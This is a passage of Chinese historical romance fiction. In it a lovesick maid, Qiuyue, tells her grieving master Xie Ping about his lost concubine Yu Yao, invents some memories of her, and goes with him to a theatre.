她斟酌着开口道:“大爷,奴婢有个蠢念头,不知当说不当说……”
谢凭蹙眉,薄薄的眼皮轻轻撩起:“既然知道是蠢念头,还说什么?秋月,你弄丢姨娘,背主求生。念在你服侍夭夭一场,我不去寻你的晦气,你倒往我跟前凑,你当真是好大的胆子。”
这话被任何一个年轻的小女子听在耳朵里,必然会觉得难堪无比,秋月也不例外。
她毕竟只是一个十六岁不到的小女子,但心中那股强烈的爱慕之意,最终战胜了少女的羞耻。
秋月咬唇下跪道:“大爷,奴婢要说的正是关于姨娘的事。”
“说。”
秋月道:“大爷,自从姨娘走了,您虽然不说,但奴
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婢看得出来,您一直在想念着她。但故人已逝,活着的人还要继续生活啊。姨娘若是在天有灵,必然也是不愿见到您为她这样伤心难过的。奴婢也是女子,平心而论,若是这个世上,有一个男子能为奴婢做到如此地步,那奴婢就是即刻死了,心中也是甜蜜的。”
久久,谢凭终于抬起眼,正视面前这个大胆的婢女。
“是么?”谢凭问。
他垂下眸,想到了初见余姚的情境,三月扬州,春雨如酒,柳色如烟,皓腕凝霜雪,檐下人似月。
谢凭想起当初那娇怯不胜衣的女子,想到的是“好细的腰。”
后来兜兜转转,他分明不是长情的人,却将她从扬州带到了云京,甚至失去理智,同意她生下他的第一个孩子,还许诺她正室夫人的位置。
从前的点滴,如同走马灯一样在脑海中过了一遍,真是恍然如梦。
可惜,当时只道是寻常。
秋月点点头,又仔细看着谢凭,谢凭道:“你留下。”
上扬的嘴角还没来得及收敛,却在听完谢凭一句“跟我讲讲她的事”后迅速僵在脸上。
除了那姓余的小贱人,这个“她”还能是谁!
秋月忍下不悦,强撑起笑应了“是。”
不知讲了多久,直把秋月说得口干舌燥,她却要对喜欢的男子,一遍遍讲着那个她诅咒过一万次、希望其能死的女人。
她早就不乐意再讲下去了,她虽然也是贴身服侍余姚的大丫鬟,但她素日里,厌恶余姚还来不及,怎么肯花心思去关注她每日都做了什么?
她最后说不下去,但又不舍得谢凭的目光不在自己身上停留,她便随口胡诌了几件事,谢凭面无表情地听着,分辨不出喜怒哀乐。
秋月担心露馅,只得转移话题,说:“奴婢记得,姨娘每日等不到您回来,便会看些话本子打发时间,这些话本子看了几遍,还不见她腻烦。”
这说的倒是实情。
谢凭听完了,脑海里便忍不住浮想起,余姚坐在桌边,在那些他不在的日子里,一遍遍打开已经卷起角的话本子。
心中却生出几分愧疚来,是他的疏忽,光记得祖父教导他,“大丈夫生于天地之间,若不能成就一番事业,似那些沉湎于妇人裙摆之下的浪荡子弟,怎配做我谢家子孙?”
谢凭自幼生长在祖父膝下,祖父虽是以战功封侯,然夙兴夜寐,对他抱以极大的期待。
他也常以祖父为目标,万事都以家族公事、规矩体统为大,因此竟忽视了身边的人。
半生追求仕途前途,却忘记了最美的风景就在身边。
只不过,最是人间留不住,朱颜辞镜花辞树【1】。
秋月试探道:“奴婢记得,姨娘最爱听戏了,她出事前一个月还去风花雪月楼听了两回戏呢。”
他问:“什么戏?”
秋月挖空脑子,都回忆不起来那戏,口中只得说:“奴婢愚笨,实在不知。只记得一两句戏词罢了。”
秋月心中懊恼,下一瞬,谢凭已然起身,吩咐说:“既如此,你随我一起去风花雪月楼听听就是。”
秋月一听能与谢凭单独相处,当即喜上眉梢,道了句“是”跟了上去。
【1】最是人间见留不住,朱颜辞镜花辞树。出自清末王国维的《蝶恋花.阅尽天涯离别苦》。